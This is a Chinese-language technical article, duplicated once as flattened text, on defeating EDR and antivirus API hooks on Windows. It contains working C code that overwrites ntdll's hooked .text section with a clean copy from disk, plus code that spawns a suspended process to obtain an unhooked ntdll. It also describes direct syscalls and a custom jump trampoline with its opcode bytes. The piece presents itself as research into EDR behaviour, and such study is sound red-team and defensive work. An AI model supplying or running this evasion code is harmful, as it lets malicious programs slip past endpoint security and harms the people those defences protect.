杀毒软件脱钩(Unhoo)技术研究与实践
字数 1302 2025-08-22 12:23:41

杀毒软件脱钩(Unhoo)技术研究与实践

前言

API Hook是安全产品(如EDR)常用的技术手段,通过替换操作系统中的API函数来拦截对这些函数的调用。在Windows系统中,许多关键函数(如CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的。EDR会修改目标DLL中的函数入口,通常是将函数开头几个字节改为跳转指令(JMP),使程序执行跳转到EDR的检测函数中,从而在API被调用前执行额外检查。

EDR Hook机制分析

注入机制观察

  1. 通过Bitdefender观察发现EDR会将两个DLL注入到进程中
  2. 将测试程序加入白名单后,EDR不再注入DLL
  3. 对比分析发现:
    • 对用户态(3环)函数有Hook
    • 对内核态(0环)函数也有Hook

阻止DLL注入尝试

Windows提供了SetProcessMitigationPolicy函数来限制DLL注入:

#include <windows.h>

int main(){
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp = { 0 };
    pmbsp.StoreSignedOnly = false;
    pmbsp.MicrosoftSignedOnly = true;
    
    BOOL result = SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp));
    
    if (!result) {
        MessageBox(NULL, "False", "False", MB_OK);
    }
    
    MessageBox(NULL, "Success", "Success", MB_OK);
    return 0;
}

问题:EDR的DLL可能带有微软签名,此方法失效。

脱钩技术实践

方法一:直接系统调用

  1. 绕过用户态Hook直接调用内核函数
    • VirtualAlloc最终调用NtAllocateVirtualMemory
    • 直接使用syscall指令调用系统调用

缺点:堆栈不正常,可能被检测

方法二:磁盘重载ntdll

从磁盘加载干净DLL,替换内存中被Hook的.text节:

void UnHookDll(LPCSTR dllname) {
    MODULEINFO mi = {};
    HMODULE ntdllModule = GetModuleHandleA(dllname);
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
    
    char dllpath[MAX_PATH] = { 0 };
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
    sprintf_s(dllpath, "c:\\windows\\system32\\%s", dllname);
    
    HANDLE ntdllFile = CreateFileA((LPCSTR)dllpath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
    
    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
    
    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
        
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0;
            SIZE_T virtualSize = hookedSectionHeader->Misc.VirtualSize;
            
            VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
                          hookedSectionHeader->Misc.VirtualSize, 
                          PAGE_EXECUTE_READWRITE, 
                          &oldProtection);
            
            memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
                   (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
                   hookedSectionHeader->Misc.VirtualSize);
            
            VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), 
                          hookedSectionHeader->Misc.VirtualSize, 
                          oldProtection, 
                          &oldProtection);
        }
    }
    
    CloseHandle(ntdllFile);
    CloseHandle(ntdllMapping);
    FreeLibrary(ntdllModule);
}

效果:成功脱钩用户态和内核态函数

方法三:挂起进程获取干净ntdll

创建挂起进程获取未Hook的ntdll:

#include <windows.h>

int main(){
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(STARTUPINFOA);
    
    BOOL result = CreateProcessA("C:\\Windows\\System32\\notepad.exe", 
                                NULL, NULL, NULL, FALSE, 
                                CREATE_SUSPENDED | CREATE_NEW_CONSOLE, 
                                NULL, NULL, &si, &pi);
    
    if (!result) {
        MessageBox(NULL, "False", "False", MB_OK);
    }
    
    MessageBox(NULL, "Success CREATE_SUSPENDED", "Success CREATE_SUSPENDED", MB_OK);
    return 0;
}

特点

  • 挂起的进程只有ntdll.dll,没有EDR的DLL
  • 同一系统上不同程序的ntdll基址相同
  • 获取的ntdll未被Hook

限制:仅适用于ntdll,不适用于kernel32.dll和KernelBase.dll

参考实现PerunsFart

方法四:自定义跳转函数unhook

绕过EDR的JMP Hook:

  1. 定义跳转指令结构:

    • jumpPrelude[] = { 0x49, 0xBB } - 64位mov指令
    • jumpAddress[] - 占位符(8字节)
    • jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 } - 跳转和返回指令
  2. 实现步骤:

    • 获取LdrLoadDll函数地址
    • 将LdrLoadDll地址+5字节后的地址放入jmpAddr
    • 申请内存保存原始函数前5字节
    • 构造跳转指令
    • 修改内存属性为可执行
    • 使用新函数加载DLL

原理:复制原始函数前5字节,避免EDR的Hook,然后跳转到原始函数+5字节处继续执行

总结

方法 优点 缺点
直接系统调用 简单直接 堆栈不正常易被检测
磁盘重载ntdll 完全脱钩 需要处理内存保护
挂起进程法 获取干净ntdll 仅适用于ntdll
自定义跳转 精确控制 实现较复杂

选择合适的方法需根据具体场景和EDR的检测机制。这些技术对于研究EDR行为和安全防护有重要参考价值。

杀毒软件脱钩(Unhoo)技术研究与实践 前言 API Hook是安全产品(如EDR)常用的技术手段,通过替换操作系统中的API函数来拦截对这些函数的调用。在Windows系统中,许多关键函数(如CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的。EDR会修改目标DLL中的函数入口,通常是将函数开头几个字节改为跳转指令(JMP),使程序执行跳转到EDR的检测函数中,从而在API被调用前执行额外检查。 EDR Hook机制分析 注入机制观察 通过Bitdefender观察发现EDR会将两个DLL注入到进程中 将测试程序加入白名单后,EDR不再注入DLL 对比分析发现: 对用户态(3环)函数有Hook 对内核态(0环)函数也有Hook 阻止DLL注入尝试 Windows提供了 SetProcessMitigationPolicy 函数来限制DLL注入: 问题 :EDR的DLL可能带有微软签名,此方法失效。 脱钩技术实践 方法一:直接系统调用 绕过用户态Hook直接调用内核函数 如 VirtualAlloc 最终调用 NtAllocateVirtualMemory 直接使用 syscall 指令调用系统调用 缺点 :堆栈不正常,可能被检测 方法二:磁盘重载ntdll 从磁盘加载干净DLL,替换内存中被Hook的.text节: 效果 :成功脱钩用户态和内核态函数 方法三:挂起进程获取干净ntdll 创建挂起进程获取未Hook的ntdll: 特点 : 挂起的进程只有ntdll.dll,没有EDR的DLL 同一系统上不同程序的ntdll基址相同 获取的ntdll未被Hook 限制 :仅适用于ntdll,不适用于kernel32.dll和KernelBase.dll 参考实现 : PerunsFart 方法四:自定义跳转函数unhook 绕过EDR的JMP Hook: 定义跳转指令结构: jumpPrelude[] = { 0x49, 0xBB } - 64位mov指令 jumpAddress[] - 占位符(8字节) jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 } - 跳转和返回指令 实现步骤: 获取LdrLoadDll函数地址 将LdrLoadDll地址+5字节后的地址放入jmpAddr 申请内存保存原始函数前5字节 构造跳转指令 修改内存属性为可执行 使用新函数加载DLL 原理 :复制原始函数前5字节,避免EDR的Hook,然后跳转到原始函数+5字节处继续执行 总结 | 方法 | 优点 | 缺点 | |------|------|------| | 直接系统调用 | 简单直接 | 堆栈不正常易被检测 | | 磁盘重载ntdll | 完全脱钩 | 需要处理内存保护 | | 挂起进程法 | 获取干净ntdll | 仅适用于ntdll | | 自定义跳转 | 精确控制 | 实现较复杂 | 选择合适的方法需根据具体场景和EDR的检测机制。这些技术对于研究EDR行为和安全防护有重要参考价值。